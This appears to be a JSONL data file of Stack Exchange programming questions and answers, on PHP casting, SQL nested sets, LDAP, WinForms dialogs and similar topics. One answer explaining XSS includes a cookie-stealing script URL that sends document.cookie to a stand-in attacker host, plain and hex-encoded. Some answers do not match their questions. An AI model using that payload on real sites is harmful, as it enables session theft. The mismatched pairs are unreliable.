{"id": "hf_be2a2591c931", "question": "<p>I track alot of things with RRD, eg, uptime, network throughput, etc. This works well when you can fit all the graphs on a single page, however, once you scale beyond a page it becomes difficult to use graphs to catch issues, you need to look at them to see that there is an issue, and if there is hundreds or thousands of graphs, that obviously isn't possible.</p>\n\n<p>So, is there any standard way, or existing software for monitoring rrd databases for trend changes? Eg, every day, network traffic looks pretty much the same, if it spikes or dips dramatically in a single hour/day/week compared to the norm, I'd like to be alerted to it.</p>\n\n<p>Or even just generic methods for finding changes in trends.</p>\n", "question_body": "", "answer": "You can read the RRD file directly, not just use the graphs generated. You might need to write your own app to do this, but the file format is an open standard so shouldn't be that difficult to get what you need.\nRRD File Format", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.339921"}
{"id": "hf_e61fce178e4b", "question": "<p>What is the exact use of an Abstract class? Is not possible to do the same things in an ordinary class as it is an an abstract class?  </p>\n", "question_body": "", "answer": "An abstract class is used when you have some base functionality that you want subclasses to inherit, but it wouldn't make sense to instantiate the base class.  For example, if you had something like a Shape base class, you could have some built in implementation that could be used by subclasses as well as interface methods that you want the subclasses to implement.  However, it probably wouldn't make sense to create a Shape object.  An abstract class gives you this functionality.  Another great example of abstract class uses is the\nabstract factory pattern\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.364436"}
{"id": "hf_c14f49d0b031", "question": "<p>Using PHP, what's the fastest way to convert a string like this: <code>\"123\"</code> to an integer?</p>\n\n<p>Why is that particular method the fastest? What happens if it gets unexpected input, such as <code>\"hello\"</code> or an array?</p>\n", "question_body": "", "answer": "I've just set up a quick benchmarking exercise:\n```\n```\nFunction             time to run 1 million iterations\n--------------------------------------------\n(int) \"123\":                0.55029\nintval(\"123\"):              1.0115  (183%)\n\n(int) \"0\":                  0.42461\nintval(\"0\"):                0.95683 (225%)\n\n(int) int:                  0.1502\nintval(int):                0.65716 (438%)\n\n(int) array(\"a\", \"b\"):      0.91264\nintval(array(\"a\", \"b\")):    1.47681 (162%)\n\n(int) \"hello\":              0.42208\nintval(\"hello\"):            0.93678 (222%)\n```\n```\nOn average, calling intval() is two and a half times slower, and the difference is the greatest if your input already is an integer.\nI'd be interested to know\nwhy\nthough.\nUpdate: I've run the tests again, this time with coercion\n```\n(0 + $var)\n```\n```\n```\n| INPUT ($x)      |  (int) $x  |intval($x) |  0 + $x   |\n|-----------------|------------|-----------|-----------|\n| \"123\"           |   0.51541  |  0.96924  |  0.33828  |\n| \"0\"             |   0.42723  |  0.97418  |  0.31353  |\n| 123             |   0.15011  |  0.61690  |  0.15452  |\n| array(\"a\", \"b\") |   0.8893   |  1.45109  |  err!     |\n| \"hello\"         |   0.42618  |  0.88803  |  0.1691   |\n|-----------------|------------|-----------|-----------|\n```\n```\nAddendum:\nI've just come across a slightly unexpected behaviour which you should be aware of when choosing one of these methods:\n```\n```\n$x = \"11\";\n(int) $x;      // int(11)\nintval($x);    // int(11)\n$x + 0;        // int(11)\n\n$x = \"0x11\";\n(int) $x;      // int(0)\nintval($x);    // int(0)\n$x + 0;        // int(17) !\n\n$x = \"011\";\n(int) $x;      // int(11)\nintval($x);    // int(11)\n$x + 0;        // int(11) (not 9)\n```\n```\nTested using PHP 5.3.1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.389388"}
{"id": "hf_14aa49c2c5c4", "question": "<p>I am a complete JSP beginner.  I am trying to use a <code>java.util.List</code> in a JSP page.  What do I need to do to use classes other than ones in <code>java.lang</code>?</p>\n", "question_body": "", "answer": "In the page tag:\n```\n```\n<%@ page import=\"java.util.List\" %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.427274"}
{"id": "hf_be80c6d26b0e", "question": "<p>I am looking for resources on Microsoft Sync Framework. Although MSDN and Google Search gave me the brief overview, I want some demos and presentations.</p>\n\n<p>Also, is Live Mesh based on Sync Framework?</p>\n", "question_body": "", "answer": "Maybe those links will be helpful:\nSync101 - Getting Started with Sync\nTutorial - Microsoft Sync Framework Basics\nS\nQL Express - Client Synchronization Sample\nSync Services for ADO.NET v2 - Download Only Sync\nSync Services for ADO.NET Adapter Builder", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.452392"}
{"id": "hf_b9549034deaf", "question": "<p>Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.</p>\n", "question_body": "", "answer": "Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.\nWhen a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.\nExample of malicious link:\n```\n```\nhttp://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>\n```\n```\nIt's also common to encode the malicious code, for example in hex:\n```\n```\nhttp://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.513938"}
{"id": "hf_91e6144caec5", "question": "<p>A while ago I noticed I don't have a magnifying-glass next to my datatables. I used to have it, and somehow, sometime, it disappeared...<br>\nHas anyone seen this happen? Do you know how to help me view my datatables again?  </p>\n\n<p><strong>Update:</strong> I'm still clueless about this. Could anyone point me in some direction, where should I even start looking for an answer? Thanks a lot. </p>\n\n<p><strong>Update:</strong> I changed to a new computer, and still the same problem. But I pinpointed it to being only in Visual Studio 2005. On Visual Studio 2008 I have perfectly normal DataSet and  Datatable visualizers.\nSo I tried re-installing VS2005, to make sure all the components were installed, nothing left  out - but Nada. Still no visualizer.</p>\n\n<p><strong>Update:</strong> Found the solution to my problem: <a href=\"https://stackoverflow.com/questions/239206/datatable-visualizer-disappeared-from-my-visual-studio/1978806#1978806\">My answer</a></p>\n", "question_body": "", "answer": "Create a new clean project, does the Visualizer show up there?\nCheck if this file exist: \"\\Program Files\\Microsoft Visual Studio 8.0\\Common7\\Packages\\Debugger\\Visualizers\\Microsoft.VisualStudio.Debugger.DataSetVisualizer.dll\"\nCheck if the dll is loaded in Visual Studio, Open your project, then open anther Visual Studio, attach the debugger into the first Visual Studio (Make sure that managed debugger is selected). Inside the\ndebugging\nVisual Studio open Debug/Windows/Modules to see if the DataSetVisualizer is loaded.\ntry\ndevenv /ResetSettings\nfrom an admin console.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.550789"}
{"id": "hf_b3dbc92af0db", "question": "<p>Do they set <code>display: none</code> or <code>visibility: hidden</code>?</p>\n\n<p>I'm pretty sure <code>display: none</code> takes the element out of the normal flow, whilst <code>visibility: hidden</code> just hides the element but still has a reserved space for it.</p>\n\n<p>Should I just go download the unpacked version and study it or does someone have a quick answer?</p>\n", "question_body": "", "answer": "It uses\n```\ndisplay\n```\n.\nEdit: And from John Sheehan's comment on this answer, which I agree with:\nYou should go view the unpacked source anyway just to familiarize yourself with it\nEdit 2: Comments have mentioned using Firebug to discover what is happening. Indeed, I actually went to the jQuery docs and used the Safari Web Inspector to see what happened on the\n```\nhide()\n```\ndemo to be sure of my answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.575037"}
{"id": "hf_4e81ab4def82", "question": "<p>An old Direct3D book says </p>\n\n<blockquote>\n  <p>\"...you can achieve an acceptable frame\n  rate with hardware acceleration while\n  displaying between 2000 and 4000\n  polygons per frame...\"</p>\n</blockquote>\n\n<p>What is one polygon in Direct3D? Do they mean one primitive (indexed or otherwise) or one triangle?</p>\n", "question_body": "", "answer": "According to this\npage\n, a polygon is n-sided in Direct3d.\nIn C#:\n```\n```\npublic static Mesh Polygon(\n    Device device,\n    float length,\n    int sides\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.612121"}
{"id": "hf_1481c1bf8c85", "question": "<p>In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function.<br>\nSome of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript?  </p>\n\n<p>Update: Following the advice given here I looked for \"css landscape\" in google, and found the <a href=\"http://www.tek-tips.com/faqs.cfm?fid=5803\" rel=\"noreferrer\">following article</a> that showed ways of css-ly defining landscape:</p>\n", "question_body": "", "answer": "Do it with CSS by including a print stylesheet thusly:\n```\n```\n<style type=\"text/css\" media=\"print\">@import url(\"/inc/web.print.css\");</style>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.636619"}
{"id": "hf_34f215f520fc", "question": "<p>Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users. \nYou would like to perform the following SQL query, which is not supported:</p>\n\n<pre><code>SELECT DISTINCT user_hash FROM links\n</code></pre>\n\n<p>Instead you could use:</p>\n\n<pre><code>user = db.GqlQuery(\"SELECT user_hash FROM links\")\n</code></pre>\n\n<p>How to use Python <strong>most efficiently</strong> to filter the result, so it returns a DISTINCT result set?\nHow to count the DISTINCT result set?</p>\n", "question_body": "", "answer": "One option would be to put the results into a set object:\nhttp://www.python.org/doc/2.6/library/sets.html#sets.Set\nThe resulting set will consist only of the distinct values passed into it.\nFailing that, building up a new list containing only the unique objects would work. Something like:\n```\n```\nunique_results = []\nfor obj in user:\n    if obj not in unique_results:\n        unique_results.append(obj)\n```\n```\nThat\n```\nfor\n```\nloop can be condensed into a list comprehension as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.661228"}
{"id": "hf_990ceb27e280", "question": "<p>Is there a mandatory relationship between a Controller Action and a View? I mean is it necessary to have a physical View (.aspx page) for each Action inside a Controller class?</p>\n", "question_body": "", "answer": "There is no mandatory relationship between the Controller Action and a view. The controller is responsible for returning an ActionResult. The most usual way of doing this is by using a View, but they aren't hard wired. A view could be shared across Controllers for instance.\nAlso a Controller, can deal with the request purely on its own, returning a redirect, or a JSON result, or even its own html (though not recommended).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.705076"}
{"id": "hf_bd0b386c40b9", "question": "<p>Let's say I have the following table:</p>\n\n<pre><code>CustomerID ParentID Name\n========== ======== ====\n1          null     John\n2          1        James\n3          2        Jenna\n4          3        Jennifer\n5          3        Peter\n6          5        Alice\n7          5        Steve\n8          1        Larry \n</code></pre>\n\n<p>I want to retrieve in one query all the descendants of James (Jenna,Jennifer,Peter, Alice, Steve).\nThanks,\nPablo.</p>\n", "question_body": "", "answer": "You can't do recursion in SQL without stored procedures. The way to solve this is using Nested Sets, they basically model a tree in SQL as a set.\nNotice that this will require a change to the current data model or possibly figuring out how to create a view on the original model.\nPostgresql example (using very few postgresql extensions, just SERIAL and ON COMMIT DROP, most RDBMSes will have similar functionality):\nSetup:\n```\n```\nCREATE TABLE objects(\n    id SERIAL PRIMARY KEY,\n    name TEXT,\n    lft INT,\n    rgt INT\n);\n\nINSERT INTO objects(name, lft, rgt) VALUES('The root of the tree', 1, 2);\n```\n```\nAdding a child:\n```\n```\nSTART TRANSACTION;\n\n-- postgresql doesn't support variables so we create a temporary table that \n-- gets deleted after the transaction has finished.\n\nCREATE TEMP TABLE left_tmp(\n    lft INT\n) ON COMMIT DROP; -- not standard sql\n\n-- store the left of the parent for later use\nINSERT INTO left_tmp (lft) VALUES((SELECT lft FROM objects WHERE name = 'The parent of the newly inserted node'));\n\n-- move all the children already in the set to the right\n-- to make room for the new child\nUPDATE objects SET rgt = rgt + 2 WHERE rgt > (SELECT lft FROM left_tmp LIMIT 1);\nUPDATE objects SET lft = lft + 2 WHERE lft > (SELECT lft FROM left_tmp LIMIT 1);\n\n-- insert the new child\nINSERT INTO objects(name, lft, rgt) VALUES(\n    'The name of the newly inserted node', \n    (SELECT lft + 1 FROM left_tmp LIMIT 1), \n    (SELECT lft + 2 FROM left_tmp LIMIT 1)\n);\n\nCOMMIT;\n```\n```\nDisplay a trail from bottom to top:\n```\n```\nSELECT\n    parent.id, parent.lft\nFROM\n    objects AS current_node\nINNER JOIN\n    objects AS parent\nON\n    current_node.lft BETWEEN parent.lft AND parent.rgt\nWHERE\n    current_node.name = 'The name of the deepest child'\nORDER BY\n    parent.lft;\n```\n```\nDisplay the entire tree:\n```\n```\nSELECT\n    REPEAT('   ', CAST((COUNT(parent.id) - 1) AS INT)) || '- ' || current_node.name AS indented_name\nFROM\n    objects current_node\nINNER JOIN\n    objects parent\nON\n    current_node.lft BETWEEN parent.lft AND parent.rgt\nGROUP BY\n    current_node.name,\n    current_node.lft\nORDER BY\n    current_node.lft;\n```\n```\nSelect everything down from a certain element of the tree:\n```\n```\nSELECT\n    current_node.name AS node_name\nFROM\n    objects current_node\nINNER JOIN\n    objects parent\nON\n    current_node.lft BETWEEN parent.lft AND parent.rgt\nAND\n    parent.name = 'child'\nGROUP BY\n    current_node.name,\n    current_node.lft\nORDER BY\n    current_node.lft;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.754079"}
{"id": "hf_acc811920dcd", "question": "<p>I have  database with many tables. In the first table, I have a field called <code>status</code>.</p>\n\n<pre><code>table 1\nidno   name    status\n111    hjghf   yes\n225    hjgjj   no\n345    hgj     yes\n</code></pre>\n\n<p>Other tables could have same <code>idno</code> with different fields.</p>\n\n<p>I want to check the status for each id no and if it is yes then for that id number in all tables for all null and blank fields I want to update them as 111111.</p>\n\n<p>I am looking for a sample vba code for this which I can adapt.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Here is some largely untested code. Hopefully it will give you a start.\n```\n```\nSub UpdateNulls()\nDim strSQL As String\nDim rs As DAO.Recordset\nFor Each tdf In CurrentDb.TableDefs\n    If Left(tdf.Name, 4) <> \"Msys\" And tdf.Name <> \"Table1\" Then\n        strSQL = \"Select * From [\" & tdf.Name & \"] a Inner Join \" _\n        & \"Table1 On a.idno = Table1.idno Where Table1.Status = 'Yes'\"\n\n        Set rs = CurrentDb.OpenRecordset(strSQL)\n\n        Do While Not rs.EOF\n            For i = 0 To rs.Fields.Count - 1\n                If IsNull(rs.Fields(i)) Then\n                    rs.Edit\n                    rs.Fields(i) = 111111\n                    rs.Update\n                End If\n            Next\n            rs.MoveNext\n        Loop\n\n    End If\nNext\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.779134"}
{"id": "hf_9ee2d230ec4b", "question": "<p>Is there in Ruby some functionality/syntax to compare two floats with delta? Something similar to <em>assert_in_delta(expected_float, actual_float, delta)</em> from <em>test/unit</em> but returning Boolean?</p>\n", "question_body": "", "answer": "```\n```\n(expected_float - actual_float).abs <= delta\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.828604"}
{"id": "hf_8be4fe77e035", "question": "<p>I usually never see test for new in C++ and I was wondering why.</p>\n\n<p><code>Foo *f = new Foo;</code></p>\n\n<p><code>// f is assumed as allocated, why usually, nobody test the return of new?</code></p>\n", "question_body": "", "answer": "As per the current standard,\nnew\nnever returns\nNULL\n, it throws a std::bad_alloc instead. If you don't want new to throw(as per the old standard) but rather return NULL you should call it by postfixing it with \"\n(std::nothrow)\n\".\ni.e.\n```\n```\nFoo* foo = new (std::nothrow) Foo;\n```\n```\nOf course, if you have a very old or possibly broken toolchain it might not follow the standard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.852547"}
{"id": "hf_f9550d4e064d", "question": "<p>I am using Direct3D to display a number of I-sections used in steel construction. There could be hundreds of instances of these I-sections all over my scene.</p>\n\n<p>I could do this two ways:</p>\n\n<p><img src=\"https://i.stack.imgur.com/Eu1Lr.png\" alt=\"I-Sections\"></p>\n\n<p>Using method A, I have fewer surfaces. However, with backface culling turned on, the surfaces will be visible from only one side. If backface culling is turned off, then the flanges (horizontal plates) and web (vertical plate) may be rendered in the wrong order.</p>\n\n<p>Method B seems correct (and I could keep backface culling turned on), but in my model the thickness of plates in the I-section is of no importance and I would like to avoid having to create a separate triangle strip for each side of the plates.</p>\n\n<p>Is there a better solution? Is there a way to switch off backface culling for only certain calls of DrawIndexedPrimitives? I would also like a platform-neutral answer to this, if there is one.</p>\n", "question_body": "", "answer": "Well my most basic instinct would be that somehow you actually have two event wireups to the Elapsed event - resulting in two events firing. I've been caught out through this, sometimes because I've added the event wireup manually when it has already been added in the designer, or there is some inheritance aspect here where the wireup is already in a base class and you are repeating it in a derived class.\nOf course if there are multiple threads then that is a whole different ball game!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.962453"}
{"id": "hf_6af303d84623", "question": "<p>I know that LDAP is used to provide some information and to help facilitate authorization. </p>\n\n<p>But what are the other usages of LDAP? </p>\n", "question_body": "", "answer": "That's a rather large question.\nLDAP is a protocol for accessing a directory. A directory contains objects; generally those related to users, groups, computers, printers and so on; company structure information (although frankly you can extend it and store anything in there).\nLDAP gives you query methods to add, update and remove objects within a directory (and a bunch more, but those are the central ones).\nWhat LDAP does not do is provide a database; a database provides LDAP access to itself, not the other way around. It is much more than signup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:15.987747"}
{"id": "hf_1a14a774275a", "question": "<p>What is the initial cost of setting up CruiseControl?</p>\n", "question_body": "", "answer": "How do you define 'cost'? It's free to download so there's no monetary cost.\nIn terms of time it should take between 1/2 - 1 day, depending on how complicated your configuration is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.012682"}
{"id": "hf_a7821a3e0778", "question": "<p>Is it possible to easily embed ActiveX controls in Java application? Is it worth it. In my next project I should either use existing activex in Java app or have to reimplement everything from scratch, so I'm wondering what will be less hassle.</p>\n", "question_body": "", "answer": "I don't think there's a way to do this without resorting to a third party library.  (Or rolling your own, but you did say \"easily\".)\nSWT\n(The \"Standard Widget Toolkit\") contains support for embedding ActiveX controls.  SWT is an alternative to Swing, though there is a degree of interoperability between them.\nHere's\nan example of embedding Windows Media Player in an SWT window.\nAlternatively there's the\nJacob\nproject, though I haven't used that myself.\nAs for \"is it worth it?\"  Well, I can say from experience that SWT makes it relatively easy, but unless your application can gracefully deal with not having them available, by relying on COM components you are losing the ability to run on multiple platforms that makes Java attractive in the first place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.037453"}
{"id": "hf_bcdc66c91cfe", "question": "<p>I have a class with some abstract methods, but I want to be able to edit a subclass of that class in the designer.  However, the designer can't edit the subclass unless it can create an instance of the parent class.  So my plan is to replace the abstract methods with stubs and mark them as virtual - but then if I make another subclass, I won't get a compile-time error if I forget to implement them.</p>\n\n<p>Is there a way to mark the methods so that they have to be implemented by subclasses, without marking them as abstract?</p>\n", "question_body": "", "answer": "Well you could do some really messy code involving\n```\n#if\n```\n- i.e. in\n```\nDEBUG\n```\nit is virtual (for the designer), but in\n```\nRELEASE\n```\nit is abstract. A real pain to maintain, though.\nBut other than that: basically, no. If you want designer support it can't be abstract, so you are left with \"virtual\" (presumably with the base method throwing a\n```\nNotImplementedException\n```\n).\nOf course, your unit tests will check that the methods have been implemented, yes? ;-p\nActually, it would probably be quite easy to test via generics - i.e. have a generic test method of the form:\n```\n```\n[Test]\npublic void TestFoo() {\n  ActualTest<Foo>();\n}\n[Test]\npublic void TestBar() {\n  ActualTest<Bar>();\n}\n\nstatic void ActualTest<T>() where T : SomeBaseClass, new() {\n  T obj = new T();\n  Assert.blah something involving obj\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.062824"}
{"id": "hf_9cfd2443ae92", "question": "<p>How do I insert a current_timestamp into an SQL Server 2005 database datable with a timestamp column?</p>\n\n<p>It should be simple but I cannot get it to work.  Examples would be much appreciated.</p>\n", "question_body": "", "answer": "if you can execute a query from PHP then it should just be a matter of using 'getdate()' ;\n```\n```\nupdate MyTable set MyColumn=getdate();\n```\n```\nor\n```\n```\ninsert into MyTable (MyColumn) values (getdate());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.087725"}
{"id": "hf_767dd45187cf", "question": "<p>How does the event creation and handling work in Java Swing?</p>\n", "question_body": "", "answer": "There's a tutorial on eveng handling here:\nhttp://java.sun.com/docs/books/tutorial/uiswing/events/index.html\nIt's about Swing. If that doesn't work maybe you could be a bit more specific?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.112169"}
{"id": "hf_7f5a76ffc75e", "question": "<p>I'm kinda stuck with this one so I hoped someone could help me.</p>\n\n<p>I am doing a Winforms application and I need to show a Modal Dialog (form.ShowDialog) that returns a value (prompts the User some values and wraps them in a Object). </p>\n\n<p>I just can't see how to do this rather than give a reference into the object or depending on some form of public Property to read the data afterwards. </p>\n\n<p>I'd just like to have ShowDialog return something different, but that doesn't work.\nIs thare some \"good\" way to do this? </p>\n\n<p>I'm sure the problem isn't new, but since almost nobody seems to do Winforms any more I can't find any guidance on the web.</p>\n", "question_body": "", "answer": "Add a static method to your form, like this:\n```\n```\npublic class MyDialog : Form\n{\n    // todo: think of a better method name :)\n    public static MyObject ShowAndReturnObject() \n    {\n        var dlg = new MyDialog();\n        if (new dlg.ShowDialog() == DialogResult.OK) \n        {\n            var obj = // construct an instance of MyObject from dlg\n            return obj;\n        }\n        else\n        {\n           return null; \n        }\n    }\n}\n```\n```\nNow you can call this from your program thusly:\n```\n```\nvar myObject = MyDialog.ShowAndReturnObject();\n```\n```\n... and if they cancel the dialog, myObject will be null.\nNow, having said all that, I do believe that adding a property to your form's class which you then read from after calling ShowDialog() is the better approach.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.148644"}
{"id": "hf_a8026a091e4e", "question": "<p>I want to compare two ms-access .mdb files to check that the data they contain is same in both.</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "If you want to know if the files are identical then\n```\n```\nfc file1.mdb file2.mdb\n```\n```\non a DOS command line.\nIf the files aren't identical but you suspect they contain the same tables and records then the easiest way would be quickly write a small utility that opens both databases and cycles through the tables of both performing a heterogeneous query to extract the Diff between the two files.\nThere are some tools out there which will do this for you, but they all appear to be shareware.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.200484"}
{"id": "hf_cb1929b0ef68", "question": "<p>I would like to stress test a win32 application by sending a lot of random keystrokes to it, and I wonder if anyone could point me to some software I could use. Ideally, I should be able to specify which keystrokes can be sent, and control rate (random min/max).</p>\n", "question_body": "", "answer": "Here's a pseudocode (since you didn't mention the language you're using):\nCreate an array that contains the alphabet from a-z, A-Z, 0-9 (depending on what keys you wish to send)\nfor i = 0 to NumberOfKeyStrokes\nrand() % SizeOfArray\ndelay for rand() milliseconds (the lower the range, the faster the key strokes are)\nsend via an API or as a string\nFor more information on sending a keystrike to an application on windows, research the API FindWindow and SendMessage", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.297886"}
{"id": "hf_9fb0adada30e", "question": "<p>From a HTML application (<code>.hta file</code>), you can drag any image and drop it into the desktop for example.</p>\n\n<p>Does anybody know how to disable this capability?</p>\n\n<p>I want the <code>.hta</code> files to have the same behavior as the <code>.html</code> files.</p>\n", "question_body": "", "answer": "Here's a pseudocode (since you didn't mention the language you're using):\nCreate an array that contains the alphabet from a-z, A-Z, 0-9 (depending on what keys you wish to send)\nfor i = 0 to NumberOfKeyStrokes\nrand() % SizeOfArray\ndelay for rand() milliseconds (the lower the range, the faster the key strokes are)\nsend via an API or as a string\nFor more information on sending a keystrike to an application on windows, research the API FindWindow and SendMessage", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.322468"}
{"id": "hf_960b2dc44121", "question": "<p>How do I truncate output in BASH? </p>\n\n<p>For example, if I \"du file.name\" how do I just get the numeric value and nothing more?</p>\n\n<p>later addition:<br>\nall solutions work perfectly. I chose to accept the most enlightning \"cut\" answer because I prefer the simplest approach in bash files others are supposed to be able to read.</p>\n", "question_body": "", "answer": "```\n```\ndu | cut -f 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:16.370485"}
